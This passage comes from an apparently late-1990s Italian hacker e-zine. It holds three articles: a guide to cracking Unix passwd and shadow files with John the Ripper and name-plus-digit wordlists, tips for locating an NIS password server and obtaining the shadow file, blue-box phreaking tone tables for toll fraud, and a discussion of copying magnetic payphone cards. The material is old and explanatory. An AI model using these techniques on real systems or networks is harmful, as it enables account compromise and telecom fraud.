cifrata (vabbe' che i root molte volte li prendono su postalmarket, ma scemi
fino a questo punto no!), e non esiste un algoritmo di decifrazione. Questo
perche' la soluzione del problema matematico che sta alla base dell'algoritmo
di decifrazione avrebbe qualcosa come 10^19 soluzioni (che in pratica scendono
a 10^16 basandosi sul fatto che non tutti i caratteri ASCII sono utilizzabili)
...troppe, anche se avete un alpha 400MHz !
Prima di passare alle tecniche di decifrazione delle pass, soffermiamoci un
attimo sui vari campi delle righe del passwd:
username:
niente da dire, qui ci va lo username! limite massimo 8 caratteri, a
scelta tra simboli ASCII, caratteri di escape (come ctrl+z), etc....
password:
beh, anche questo campo non ha bisogno di particolari spiegazioni. I
limiti sono gli stessi che per lo username. In questo campo possono
essere anche contenute infos aggiuntive, come la scadenza
dell'account. Se il campo e' vuoto vuol dire che l'utente non ha pass,
mentre se e' occupato da un solo carattere (in genere un "+" o un "*"
o una "x") significa che l'accesso e' disabilitato. Se tutte le
password sono disabilitate, probabilmente il sistema e' protetto da
uno shadow-passwd, cioe' un file in cui sono registrate le sole login
e le rispettive passwords di tutti gli utenti. Il brutto e' che,
ahime', lo /etc/shadow e' visibile solo dal root (e' settato
-rw------). In questo sfortunato caso, del passwd non ve ne fate un
granche', e vi tocca sfruttare uno qualunque dei bug del sistema che
state hackerando per aprire una shell con E-UID=0 e prelevare lo
shadow. A questo punto vi lascio come compitino a casa di fare un
piccolo e scemo programmino che prenda le password criptate dello
shadow e le ricopi nel passwd al posto degli "*" (o quello che e').
Un'altra possibilita' e' che il root abbia deciso di usare le Yellow
Pages, cioe' abbia deciso di tenere il passwd reale in una sola
macchina della rete, a cui faranno capo tutte le altre macchine ogni
volta che ce ne sia necessita'. E qui sono cavoli amari! A volte
funziona il comando "ypcat passwd", a volte no.
Quindi vi tocca trovare da soli quale sia la macchina in questione,
loggarvici sopra e rifare tutto da capo. Un trucchetto: fate uno
script che vi cambia la password migliaia di volte di seguito; se lo
lanciate nei momenti in cui la rete non ha utenti che la usano, con
l'arp spiccheranno due macchine a traffico elevato: quella su cui avete
lanciato lo script, e quella su cui e' conservato il passwd!!!
UID:
Contiene un numero che identifica in modo univoco l'utente. Ad
esempio, per root si ha che UID=0, quindi quando usate un qualunque
bug per prendere i diritti di root, quello che avviene in realta'
e' una impostazione del vostro UID effettivo (E-UID) a zero.
GID:
Come UID, ma in questo caso identifica il gruppo di appartenenza.
Mentre l' UID in genere cambia da utente a utente, il GID puo' essere
costante anche per centinaia di utenti.
nome utente:
in questo campo viene inserita la ragione sociale del proprietario
dell'account... bene! almeno quando fregate una password, sapete a chi
l'avete presa!!!
home dir:
in questo campo viene specificata la directory home di ciascun utente.
Se viene specificata una directory inesistente, in genere di default
ci si ritrova nella root.
shell:
ecco un campo molto importante: qui trovate il nome della shell che
viene aperta quando l'utente si logga nel sistema (una shell e' un po'
come una finestra di win95, tanto per capirci). In questo campo
potete trovare di tutto:
/bin/bash, /bin/sh, /bin/csh, /bin/tcsh
in questo caso l'utente ha una shell vera e propria, cioe'
puo' inviare comandi, eseguire programmi, etc...
/bin/ppp, /bin/slip e simili
al momento della login, viene lanciato il programma
specificato, e null'altro. Succede tipicamente negli ISP
/dev/null
come dire: ci metto qualcosa proprio per non lasciarlo vuoto :o)))
e' intuitivo che si possono creare account ad hoc per determinate
funzioni...
per esempio, mettendo /sbin/shutdown come shell, chiunque puo'
spegnere il sistema in remoto, senza necessariamente essere root.
Ovviamente questo campo non puo' essere lasciato vuoto, se si vuole
avere accesso al sistema!
Finito questo breve excursus sui campi del passwd, passiamo a quello che ci
interessa davvero: decriptare le password.
"Ma come, non avevi detto che era impossibile??"
e' vero, l'ho detto. Non si puo' decriptare una password cosi', come si fa con
quelle degli screen saver di Win95... l'unica nostra ancora di salvezza e' un
bel brute force attack.
Cioe': prendo una parola qualunque, la cripto, e la confronto con tutte le
passwords cifrate del passwd. Se ne trovo una uguale, sono riuscito nel mio
intento! Certo, detto cosi' puo' sembrare una cosa molto lunga, ed in effetti
lo e'... pero' basandosi sul fatto che il 90% degli utenti sono dei perfetti
imbecilli (e le loro password pure), abbiamo ottime speranze di riuscita.
Scordatevi di decriptare un passwd per intero, non ci riuscirete mai. Pero' su
di un file di 1000 utenti, possiamo trovare anche piu' di 100 password...
mica male, no?
Io uso due metodi distinti per decriptare le pass:
-Primo metodo (+ veloce, + facile, - preciso)
mettete il passwd nella stessa directory in cui avete messo il John The Ripper,
aprite una shell di DOS e digitate:
john -single -pwfile:passwd
le pass trovate appaiono direttamente sullo schermo, non avete altro da fare
che ricopiarvele e siete a posto! Oppure lanciate:
john -single -pwfile:passwd > trovate.txt
in questo modo sullo schermo non vedrete un bel niente, e tutto andra'
direttamente nel file "trovate.txt".... piu' veloce di cosi' :o)
In questo specifico caso, il john.exe non fa altro che creare un file
temporaneo contenente tutte le login, i nomi e cognomi di ciascun utente,
mischiandoli, aggiungendo qualche carattere preso a caso, etc.... Poi li
cripta uno ad uno, e li confronta con il passwd.
In genere, in questo modo troverete account del tipo:
pippo:pippo1
maria:franca44
franco:mario52
in cui le pass sono molto simili alle login rispettive, o anche alle login di
altri utenti.
-Secondo metodo (molto + lento, + incasinato, + preciso)
Questo metodo si basa sulla generazione controllata di una wordlist, cioe' di
un file contenente un certo numero di parole, una per riga, che rispondono ad
un criterio di generazione ben preciso. Ho creato un programmino che fa tutto
questo per noi: il jpip. Il jpip (non chiedetemi l'origine del nome...l'ho
tirato a caso! :) e' un generatore di wordlist:
dobbiamo specificare la parola con cui la list deve iniziare, la parola con
cui dovra' terminare, quali simboli usare. Ad esempio: una wordlist che inizia
da "aa" e termina con "zz" che comprenda le sole lettere minuscole sara' una
cosa del tipo:
aa
ab
ac
ad
...
...
az
ba
bb
bc
...
...
zx
zy
zz
(ho ovviamente omesso di riportare tutte le righe per brevita' :o)
Quando ho provato a crakkare passwords in questo modo per la prima volta,
sono rimasto sorpreso da quanta gente usasse passwords cretine di 3 max 4
caratteri, tutti in genere lettere minuscole e a volte numeri. Creata la
wordlist, basta lanciare
john -single -pwfile:passwd -wordfile:list.txt
dove "list.txt" va sostituito con il nome che avete dato alla wordlist.
Questo metodo e' decisamente piu' lungo, ma vale la pena usarlo con passwd
piccoli (con i quali il john fa ben poco) o quando si vuole trovare la
password di un determinato account: basta togliere dal passwd tutti gli
account che non ci interessano, velocizzando di molto l'operazione.
Facciamo un attimo due conti:
le passwords sono al max di 8 caratteri, e supponiamo che vengano usati solo
100 simboli (ASCII e non). Ci sono quindi 100^8 = 10^16 possibili
combinazioni. Con il mio K6 233MHz, per provare tutte le combinazioni su di
una sola password con il john, ci vogliono piu' di un miliardo di anni!!!!!
Ma allora questo metodo e' una vaccata!!! No, fermi, non e' cosi'!
Dalla mia esperienza diretta ho imparato che il 90% delle password sono
composte di soli caratteri minuscoli, al massimo con uno o due numeri in
fondo. La maggior parte delle volte sono del tipo: "nome di persona" +
"numero da 00 a 99", tipo paolo56, enri12, scemo32. Ecco quindi la mia idea:
con il jpip genero delle liste di parole formate da nomi propri, seguiti
da i numeri da 00 a 99. Esempio:
paolo00
paolo01
paolo02
paolo03
.......
paolo99
enri00
enri01
enri02
......
etc etc etc
Con questro truccheto si trovano piu' password di quante possiate
immaginarne!!! Basta un po' di fantasia nella scelta dei nomi, ed il gioco e'
fatto. Il nome ed il cognome degli utenti sta li' in bella mostra nel passwd,
e questo e' un grosso punto a nostro favore!
ok, aspiranti hacker, per oggi e' tutto.... la prossima volta (ammesso che bfi
pubblichi questo mio doc) parlero' un pochino piu' approfonditamente del john,
del cracker jack, di altri metodi carini per avere un po' di password in
piu'.... crakkate gente, crakkate!!!
-jH-
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ áLUEá0X iN iTALiA ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Questo documento vuole soltanto essere una "infarinatura" al bluebox ed ha
soltanto skopo informativo.
Ricordo ke la BlueBox e' una frode e quindi ILLEGALE e POTREBBE essere
perseguita a norma di legge.
Non incito nessuno ad usare tale tecnica.
La Bluebox esiste ormai in Italia da decenni quando i primi pionieri buttavano
giu' qualunque Countrydirect con un semplice at&t standard tone 2600/2400, per
intenderci... Andando avanti nel tempo,i numeri "boxabili" sono andati via via
diminuendo a causa del non moderato uso della suddetta tecnica.
A mio parere,e badate bene, e' solo un mio parere, la BlueBox andrebbe usata
SOLTANTO x chiamate a voce, gli altri usi, quali Trading e via dicendo, sono a
mio avviso inutili.
Lo scopo fondamentale e' comunicare con altra gente, comunicare il nostro modo
di essere, le nostre idee, non downloadare 100mb di warez in
intercontinentale... questo e' quello che penso.
Andiamo adesso a parlare un po' piu' a fondo.
Molti si kiederanno : "ma e' vero ke la bbox non funziona piu'?"
Falso, la Bbox in italia NON HA MAI smesso di funzionare, si sono soltanto
evolute le tecnike di difesa delle varie Telecom.
I protocolli piu' usati nella storia della bbox sono essenzialmente 2, il
CCITT4 ed il CCITT5.
Il CCITT4 e' ormai un protocollo in disuso, con segnalazione in banda.
La qualita' di tramissione di informazione e' pessima, in pratica riuscite a
sentire solo fruscio.
E' POSSIBILE ke alcuni paesi del terzo mondo usino ankora questo tipo di
segnalazione, ma IN ITALIA nessun paese e' raggiungibile via C4.
Per completezza ecco gli introvabili trunk.
-------------------------------------
CCITT: -4- (Q.121 & Q.115)
--------------------------
HANGUP: 2040 & 2040 HZ
FREQ1 (2040 HZ): 0
FREQ2 (2400 HZ): 1
PREFIX: 80 MS +/- 20 MS
SHORT SIGNAL: 40 MS +/- 10 MS
LONG- SIGNAL: 200 MS +/- 40 MS
DIGIT: -PULSE- SHORT INFO:
-1- 1-1-1-0 DIGIT #-1-
-2- 1-1-0-1 DIGIT #-2-
-3- 1-1-0-0 DIGIT #-3-
-4- 1-0-1-1 DIGIT #-4-
-5- 1-0-1-0 DIGIT #-5-
-6- 1-0-0-1 DIGIT #-6-
-7- 1-0-0-0 DIGIT #-7-
-8- 0-1-1-1 DIGIT #-8-
-9- 0-1-1-0 DIGIT #-9-
-0- 0-1-0-1 DIGIT #-0-
CODE 11 0-1-0-0 CALL OPERATOR
CODE 12 0-0-1-1 CALL OPERATOR
SP.C. I 0-0-1-0 SPACE CODE - SEE Q.104
IHES 0-0-0-1 INCOMMING HALF ECHO SUPRESSOR (REQUIRED!)
SP.C. II 1-1-1-1 SPACE CODE
E.O.P. 0-0-0-0 END OF PULSING
KP1 PX LOCAL- CALL
KP2 PY GLOBAL CALL
CLEAR FORWARD PXX \ BETTER READ
XFER- FORWARD PYY / - Q.121! FF
FREQ1 (2040 HZ): 0
FREQ2 (2400 HZ): 1
PREFIX- SIGNAL: P 150 MS +/- 30 MS (0 AND 1 COMPOUND!)
CONTROL SIGNAL: X 100 MS +/- 20 MS (0 SHORT SINGLE SIGNAL!)
Y 100 MS +/- 20 MS (1 SHORT SINGLE SIGNAL!)
XX 350 MS +/- 70 MS (0 LONG- SINGLE SIGNAL!)
YY 350 MS +/- 70 MS (1 LONG- SINGLE SIGNAL!)
------------------------
> CCITT 5
Il CCITT 5 e' il protocollo ke ATTUALMENTE rende possibile la BBOX.
Dimentikavo di aggiungere una cosa.
Quando questi protocolli furono creati, si penso' ad un sistema mediante il
quale si potesse risparmiare nel costo materiale e tecnico nella
realizzazione. La scelta fu facile: Segnalazione in banda.
Ovvero, i segnali ke la centrale invia non hanno una BANDA PROPRIA, ma
viaggiano sulla stessa banda sulla quale viaggia LA NOSTRA VOCE, ecco perche'
esiste la BBOX.
Molti paesi hanno deciso di adottare il CCITT7 ke non permette segnalazioni
in banda, protocollo di cui parleremo piu' avanti nell'articolo.
IL CCITT 5 permette una qualita' media/buona/ottima di trasmissione, ragion
per cui e' ankora oggi adottato da molti paesi.
Come si difendono le telecom di tutto il mondo?
Beh, facile, utilizzando dei filtri, ovvero dei mekkanismi ke impediscono
il passaggio dei toni di hangup, buttando giu' la linea.
I filtri di SOLITO non sono mai attivi di default.
Si attivano soltanto quando sulla linea e' presente un segnale di cui
"riconoscono" la pericolosita'.
Alcuni filtri alterano soltanto il trunk... cio' signifika ke magari un
2600/2400 verra' interpretato come 2550/2350..in questo kaso, come kapite,
basta soltanto variare la frequenza :)
Nessun filtro NON e' bypassabile.
Ricordate :)
Esistono altre variazioni del CCITT 5, R2, Socotel and so on, ma sono
praticamente protocolli caduti in disuso.
> Cenni sui Routing Code
Un altro problema della bluebox e' il routing code... all'inizio
TUTTI i paesi usavano A0XXXXXXC x kiamate internet e BcountryprefixXXXXXXC
per kiamare fuori dal paese.
Chiaramente ormai le Telecom si son fatte furbe e trovare i routing code non
e' facile.
Una soluzione sarebbe quella del "doppio break", ovvero kiamare un paese A, da
A kiamare un countrydirect di un paese B e sperare ke il paese B abbia il Kp2
enable con un routing code standard.
Kiaramente le freq devono essere ESATTISSIME, perche' un tono sbagliato
potrebbe far cadere A il primo paese brekkato :)
Insomma, un casino, ma divertente da provare :)
---------------
CCITT: -5-
----------
EG: USED IN USA, CAN, AUSTRALIA & JAPAN
HANGUP: 2600/2400 HZ
TIMING: 100-640 MS
DIGIT:
------
-1- 700 HZ + 900 HZ
-2- 700 HZ + 1100 HZ
-3- 900 HZ + 1100 HZ
-4- 700 HZ + 1300 HZ
-5- 900 HZ + 1300 HZ
-6- 1100 HZ + 1300 HZ
-7- 700 HZ + 1500 HZ
-8- 900 HZ + 1500 HZ
-9- 1100 HZ + 1500 HZ
-0- 1300 HZ + 1500 HZ
CODE 11 700 HZ + 1700 HZ
CODE 12 900 HZ + 1700 HZ
KP1 1100 HZ + 1700 HZ
KP2 1300 HZ + 1700 HZ
ST 1500 HZ + 1700 HZ
TIMING:
NUMBER-- DIGITS: 0,1-9 LENGTH: 55 MS +/- 7 MS
DELAY : 55 MS +/- 7 MS
OPERATOR DIGITS: C.11/12 LENGTH: 100 MS +/- 15 MS
DELAY : 55 MS +/- 7 MS
CONTROL- DIGITS: KP1/2 & ST LENGTH: 100 MS +/- 15 MS
DELAY : 55 MS +/- 7 MS
SOMETIMES YOU CAN/MUST USE SHORTER OR LONGER DIGITS
AND THE "START PULSING (ST)" IS SOMETIMES ONLY: 25 +/- 15 MS (+/- 5 STEPS)
----------------
Ed ecco a voi il famigerato protocollo ODIATO da tutti i Phreakers:
>CCITT7
IL CCITT 7 e' il nuovo protocollo internazionale ke usa, come gia' detto,
2 canali differenti per le segnalazioni.
Un canale voice ed un canale "dati".
Il canale "dati" e' stato introdotto, KIARAMENTE, per non permettere di
utilizzare la bluebox, dal CCITT6 in poi, la bluebox e' morta :)
Inoltre sul kanale dati e' possibile inviare delle informazioni in piu',
come per esempio il Caller_Id, avvisi di kiamata e opzioncine varie.
Il CCITT 7 utilizza delle tecnike "ANTI FRODE", verificando la lunghezza delle
kiamate, le kiamate ripetute ad un solo numero e via dicendo.
Il controllo viene effettuato con un "pattern matching".
I patterns vengono misurati ad ogni kiamata e qualunque kosa ke non stia
dentro i patterns e' una possibile frode.
Di solito le possibilita' di frode vengono segnalate per diverse ragioni, per
verifikarne o meno l'esattezza non si fa altro ke "loggare" la linea, per dirla
alla italiana :)
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX \
XXXXXXXXXXXXXXXX \
XXXXXXXXXXXXXXXX \ Out-of- --> XXXXXXXX \ Continues --> XX
XXXXXXXXXXXXXXXX - Pattern --> XXXXXXXX - Out-of-Pattern --> XX
XXXXXXXXXXXXXXXX / XXXXXXXX / or
XXXXXXXXXXXXXXXX / Manual
XXXXXXXXXXXXXXXX / Inverstigation
XXXXXXXXXXXXXXXX
Calls going Monitoring Alarms of Continued FRAUD
though Monitoring system Monitoring Out-of-Pattern CASES
system Analyzing system or
Manual Investigation
Purtroppo non ho tantissimo materiale su questo protocollo del quale,
kiaramente,non mi sono mai interessato.
Ho qui delle frequenze ke spero siano esatte, ma badate, non ne sono per niente
certo, anke perke' credo ke non approfondiro' le mie ricerke riguardo il
suddetto protocollo.
------------------------
CCITT: -7-
----------
HANGUP1: 2600HZ +/- 300HZ
HANGUP2: 2400HZ +/- 80HZ
HANGUP3: 600/900 HZ
HANGUP4: 400/900 HZ
SEIZE1: 2400HZ +/- 250HZ
SEIZE2: 2400HZ +/- 300HZ
SEIZE3: 600/900HZ
SEIZE4: 750HZ +/- 300HZ
SHIFT-RATE +/- 200HZ
TIMING: 100-2000 MS
DIGIT: +/- 50HZ
------
-1- 700 HZ + 900 HZ
-2- 700 HZ + 1100 HZ
-3- 900 HZ + 1100 HZ
-4- 700 HZ + 1300 HZ
-5- 900 HZ + 1300 HZ
-6- 1100 HZ + 1300 HZ
-7- 700 HZ + 1500 HZ
-8- 900 HZ + 1500 HZ
-9- 1100 HZ + 1500 HZ
-0- 1300 HZ + 1500 HZ
CODE 11 700 HZ + 1700 HZ
CODE 12 900 HZ + 1700 HZ
KP1 1100 HZ + 1700 HZ (+/- 200HZ) + TONE 3 + TONE 4
KP2 1300 HZ + 1700 HZ (+/- 200HZ) + TONE 3 + TONE 4
ST 1500 HZ + 1700 HZ (+/- 200HZ)
TIMING:
NUMBER-- DIGITS: 0,1-9 LENGTH: 55 MS +/- 7 MS
DELAY : 55 MS +/- 7 MS
OPERATOR DIGITS: C.11/12 LENGTH: 100 MS +/- 15 MS
DELAY : 55 MS +/- 7 MS
CONTROL- DIGITS: KP1/2 & ST LENGTH: 100 MS +/- 15 MS
DELAY : 55 MS +/- 7 MS
--------------------------
> Arresti
Non si e' MAI verifikato in italia un arresto per BLUEBOXING nonostante le
miriadi di messaggi fake ke girano da anni.
La telecom conosce l'esistenza del bbox, ma a quanto pare non e' interessata
a perseguire i bboxer come altre compagnie quali at&t e German telekom, si
limita a barrare i country direct o ad installare dei semplici filtri.
> Ma adesso si puo' boxare ?
I paesi boxabili, a quanto ne so, sono attualmente 3, ma tutti in LOCALE e
nessun kp2...
Se qualcuno puo' contraddirmi... beh, ke lo faccia :) ho nostalgia di un bel
b39XXXXXXXXC
> Le tue idee riguardo la box ?
Io credo ke il diritto alla comunikazione debba essere FREE, a mio avviso,
nessuna telefonata andrebbe pagata, anke se, ahime', anke io come voi, pago
le mie bollette.
Usare bbox ed altri trukki x skarikare warez e' un insulto alla vera etika del
phreaker.
Eric Draven!
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÄÄÄÄÄÄÄÄÄ PR0JECT MT - L0CALiSTA 0 SERiALiSTA? ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍͼ
Purtroppo a volte si dedicano molte energie per raggiungere un obiettivo senza
porsi la domanda se siano validi i postulati di partenza..
Nel mio caso il problema da risolvere era: come cavolo duplicare le tessere
Telecom, ma prima di tutto bisognava chiedersi: serve duplicare le carte
Telecom?
La questione ha suscitato numerosi scontri ideologici, contrapponendo due
fronti.
Il primo, detto dei "localisti" (definizione by McKrak), sostiene che le schede
abbiano nella loro banda magnetica il numero di scatti ancora da effettuare e
il rotor restituisca l'importo rimasto solo in base a questo valore. Come
mostrava anche il mio precedente articolo e' innegabile che sul nastro
magnetico ci sia scritto quanti dindini si hanno a disposizione e che questo
dato venga aggiornato ad ogni utilizzo.
A questa filosofia si contrappone la teoria dei "serialisti", convinta invece
che la tessera trasmetta ad una centrale il proprio numero di serie (anche
questo documentato dalle mie analisi) e che poi quest'ultima ritrasmetta
l'importo restante. La tessera contiene il numero di scatti rimasti perche'
solo gli ultimi rotor usufruiscono di questa "rete intelligente" Telecom,
mentre alcune cabine ragionano ancora col vecchio sistema..
Sinceramente ero un convinto "localista", ma dopo essermi confrontato con
alcune persone che ritengo serie e competenti sto cominciando ad avvicinarmi
alla scuola "serialista".
Ecco ad esempio degli spezzoni di mail che affrontano questo problema:
----
>la duplicazione pura e', oltre che non facile, perfettamente inutile... da
>circa tre anni tutte le cabine in Italia sono collegate a quella che si
>chiama rete intelligente (la stessa che gestisce i numeri verdi, i 166/144,
>etc.), che non e' altro
>il collegare un bel database generical purpose ad una rete telefonica
>pubblica. L'unico dato che viene utilizzato delle tessere
>magnetiche e' il numero di serie (impresso nella prima parte della banda
>magnetica), il restante segnale (i soldi rimasti) anche se viene ancora
>modificato NON viene piu' assolutamente utilizzato. Su un database di
>gestione ad ogni numero di serie di card e' associato l'ammontare rimasto.
>Per verificarlo prova banale: copiate una carta prepagata (almeno quello a
>questo punto dovreste saperlo fare), usate una delle due copie in una
>cabina e scendete ad esempio da 4000 a 3000lire di credito rimasto. Provate
>l'altra copia in un'altra cabina e vedrete che vi dara' 3000lire rimaste e
>non 4000 sebbene quella tessera non sia stata toccata... scendete da 3000 a
>2000 con questa seconda e riprovatele entrambe dove volete e le troverete
>scese a 2000lire...
>unica soluzione e' scoprire l'algoritmo dei numeri di serie (e penso sia
>banale, se non addirittura progressivo) e cambiare il numero di serie sulle
>carte copiate (complicato, bisogna sapere oltre che il bias del nastro
>magnetico anche la modulazione esatta usata
>da telecom,anzi dalla urmet, e riprodurla)...
----
// qui sono io che scrivo :)
>> Se le cose stanno cosi' sono davvero kazzi.. la mia domanda e':
>> Ma se funziona davvero in questo modo... come mai non c'e' un ritardo nella
>> lettura del valore delle carte e non ci sono mai errori ?
>Premessa: ti ricordo che il 'doppino' che arriva alle
>cabine e' da sempre composto da 4 fili invece che 2.
>Su 2 fili viaggia la voce e su 2 la segnalazione verso
>la rete...
>Il ritardo nella lettura del valore delle carte e prima
>di questo del numero di serie della carta c'e' : ed
>e' dell'ordine dei 400-500 ms... Per non farti sembrare
>strani (o veloci) questi numeri ti ricordo che, ad
>esempio, un DNS server (su internet che e' una rete
>generical purpose, molto piu' complessa e lenta della
>rete intelligente telefonica) di un dominio in culo ai
>lupi (hong kong ad esempio), in condizioni di rete
>normali, ti converte un indirizzo nominale che hai
>richiesto (www.cheneso.hk), facendo i vari passaggi
>gerarchici tra i dns e supponendo www.cheneso.hk non
>in cache di qualche dns nazionale intermedio, in
>media in 800-900 ms. La cabina deve solo inviare pochi
>bytes alla centrale sul canale di segnalazione e questa
>richiedere alla centrale di rete intelligente una
>risposta (i database dovrebbero essere 3 o 4, probabilmente, ma
>qui azzardo, Milano, Roma, Napoli, Palermo)...
>> In fondo con
>> tutte le carte in giro per l'italia, i server che mantengono in memoria il
>> valore non possono essere sempre cosi' rapidi...
>> E poi perche' i rotor dovrebbero continuare ad aggiornare la tessera usata
>> se questa cosa e' inutile ?
>perche' hai presente quanto costa aggiornare o cambiare
>tutti i rotor in giro.. quando hanno dovuto sostituirli
>per il fatto che potevi mettere del nastro isolante
>sulle tessere e renderle illimitate (nel '92 mi sembra)
>e perche' molti non andavano con le carte di credito
>telefoniche, ok, c'era una buona ragione.. ma il fatto
>che il rotor funzioni, ma faccia una cosa in piu' non
>e' una buona ragione...
>>Sei comunque riuscito a duplicare una tessera e a farla
>>accettare al rotor ?
>si, ma non scrivendo sulla banda delle tessere Telecom.
>leggendone una nuova con una testina di un rotor
>(capitata tra le mani misticamente) e scrivendo con
>una testina di un registratore a bobina su del nastro
>a bobina (i registratori che si usavano alcune decine
>di anni fa, con la bobina larga piu' o meno come le
>videocassette) e poi incollando questo su una tessera
>vuota...
----
\\Qui si parlava del tipo di modulazione utilizzato
>In generale (non so nulla a proposito delle CARTE in questione) la tecnica
>di memorizzazione di 0 e 1 e' fatta creando una transizione da livello +X
>Volt a 0 V (oppure da +X Volt a 0, a seconda di cosa e' la cifra
>precedente) ad ogni cifra memorizzata.
>Se la cifra e' uno si troveranno due gradini consecutivi come segue:
1
>---- -----
> | | |
> ----- ----
> ^ ^
> clock clock
> |----------|
> (periodo)
>Se la cifra e' zero si troveranno due gradini contrapposti come segue:
> 0
>---- -----
> | |
> ----- -----
> ^ ^
> clock clock
> |-----------|
> (periodo)
>La codifica e' fatta di proposito per fare in modo che 1 e 0 siano
>riconosciuti anche quando la velocita' di trascinamento sia dis-uniforme.
>Infatti basta che tra un RISE di Clock e l'altro la tessera non raddoppi la
>velocita' e tutto funziona. Se le velocita' raddoppia la viene perso il
>sincronismo.
>In generale i sistemi di lettura per questi tipi di codifica strisciano con
>velocita' arbitraria la tessera (con il vincolo unico che la velocita' non
>raddoppi tra un bit e l'altro, cosa assai difficile per un motore di
>trascinamento :) ) e si sincronizzano su un tratto iniziale di tessera che
>ha impulsi tutti uguali ad 1 e che determinano in questo modo la lunghezza
>del periodo (si sentiranno transizioni a frequenza 2T!!).
>La lettura avviene in corrispondenza della freccia "clock".
>Se esiste una transizione tra livello alto e basso (o viceversa) significa
>che abbiamo due scalini consecutivi uguali e la cifra e' UNO.
>Se la transizione non viene rilevata significa che abbiamo due scalini
>contrapposti e la cifra e' ZERO.
>Chiaramente il Clock non e' rigido (freq. fissa) bensi' si mantiene
>sincronizzato inseguendo quello della tessera: la transizione che e' sempre
>presente all'inizio di un periodo ne determina inizio e fine (= la
>transizione successiva).
>Ecco che basta "sondare" a in un intorno della meta' periodo per sentire (o
>meno) la transizione.
>Se la tessera accelera, il clock la insegue e la stringa di BIT e' coerente.
>Per quanto rigurada la forma degli impulsi, se la larghezza di banda del
>circuito di lettura e' stretta, il segnale ad onda quadra che e' memorizzato
>e che e' formato da infinite armoniche (SIN e COS a freq multipla di quella
>base) viene "impoverito" in quanto le armoniche con frequenza superiore a
>quella massima ammessa dal circuito vengono totalmente attenuate.
>Conclusione: un 'onda quadra che e' frutto della somma di pochi SIN e COS.
>Se provi a sommare un SIN di frequenza F ed un COS di frequenza 2F troverai
>quella rappresentazione che hai pubblicato nel tuo articolo e che hai
>associato ad una cifra 1. Se sommi SIN a freq. F e SIN a freq 2F troverai
>l'altra cifra.
>E' quindi una questione di Banda passante del circuito di lettura e
>scrittura. In Particolare la Sound Blaster nella migliore delle ipotesi ti
>limita a 44KHz.
----
\\Possibilita' di esistenza di un server remoto ?
>Non ho notizie interessanti in merito ma c'e' un motivo (per me) per
>credere che ci sia uno scambio di informazioni tra alcune cabine telefoniche
>(quelle che dispongono dell'allacciamento al DataBase in questione e quindi
>le piu' "recenti") e la centrale.
>Io possiedo una Call-It Omnia che uso spesso da telefoni pubblici e privati.
>L'attesa della validazione della carta prima della digitazione del PIN
>comporta un collegamento in centrale dove viene fornito il PIN corretto
>(prima che io lo digiti) per poi usarlo (da parte del lettore) come
>confronto con quello inserito da tastiera.
>Se esso e' corretto la linea e' data ISTANTANEAMENTE mentre per vedere
>apparire C.U. o Codice Utente il tempo e' variabile (tempo necessario
>all'interrogazione).
>Anche le tessere telefoniche non sempre forniscono l'importo immediatamente
>ma c'e' un DELAY arbitrario che non puo' essere imputabile alle diversita'
>di apparecchio lettore!
>D'altro canto in giro per l'Europa e nel mondo e' molto piu' diffuso il
>modell a MicroChip che garantisce (quasi) la inibizione della ricarica e/o
>falsificazione.
>Questo metodo (quello del Database) e' ancora piu' sicuro.
>1) Impedisce che una tessera venga usata per piu' dell'importo pagato.
>2) Una eventuale falsificazione del numero seriale porta all'utilizzo di una
>tessera altrui che potrebbe portare ad una denuncia da parte
>dell'interessato e quindi ad un rintracciamento dell'uso di quella tessera
>IN TUTTA ITALIA con pochissimo disturbo da parte TELECOM mentre alla
>SEGNALAZIONE AUTOMATICA DI TENTATA FRODE se il numero seriale non e' ancora
>in produzione e quindi manca nel DataBase!
>In entrambe i casi TELECOM non perde denaro e scopre il colpevole.
>Sarebbe il metodo piu' efficiente per evitare le frodi.
>Concludendo posso anche dire che il tempo per la convalida della tessera
>tramite Serial Number non e' poi cosi' "laborioso" in termini di tempo e
>quindi non escludo che cio' sia realmente in funzione.
>Io quindi sono piu' per il NON RICARICABILE. L'unico motivo che mi potrebbe
>far cambiare idea e' l'analisi di una linea uscente dalla cabina con qualche
>strumento di misura che permette di vedere se la comunicazione dell'importo
>c'e' oppure no.
>Questo puo' essere effettuato possedendo un rotor ed alimentandolo
>correttamente. Collegandolo alla linea telefonica ed inserendo una tessera,
>sniffare cosa avviene sulla linea: solo cosi' si sara' certi se il rotor ci
>"taglia le gambe" oppure no.
>Comunque, visto che sei riuscito a leggere la tessera non dovrebbe esserti
>difficile copiarla con due testine, un amplificatore (di bassa tensione ma
>elevata corrente), un filtro, un adattatore di segnale e un sistema di
>movimento contemporaneo di due testine (mi viene in mente una stampante ad
>aghi che ha il nastro lungo almeno 30 cm e sul quale fissare le 2 testine
>interconnesse tramite Amply, filtro ed eventuale elaborazione del segnale).
>Una volta copiate potrai finalmente vedere se gli scatti sono solo su
>tessera oppure anche in centrale.
>Io comunque resto dell'idea che alcuni apparecchi vecchi non siano dotati
>del sistema.
>D'altra parte, perche' la Telecom rimpiazzerebbe i Telefoni + Lettore con
>quelli nuovi senza gettoni ma solo a schede: secondo me sono questi ultimi
>che trasmettono il Serial e non quelli vecchi (penso a qualche telefono che
>ho visto in locali fatiscenti dalle mie parti dove la telecom non entra
>nemmeno a riscuotere l'incasso ma se lo fa dare dal gestore !!!)
----
Infine, ecco un'aggiunta dell'ultim'ora da parte di |PazzO| :
"Pensare che le migliaia di cabine Telekom siano connesse tutte allo stesso
server della rete e' impossibile perche' il ritardo e' irrisorio (800-900 m/s)
per una interrogazione dello stesso.
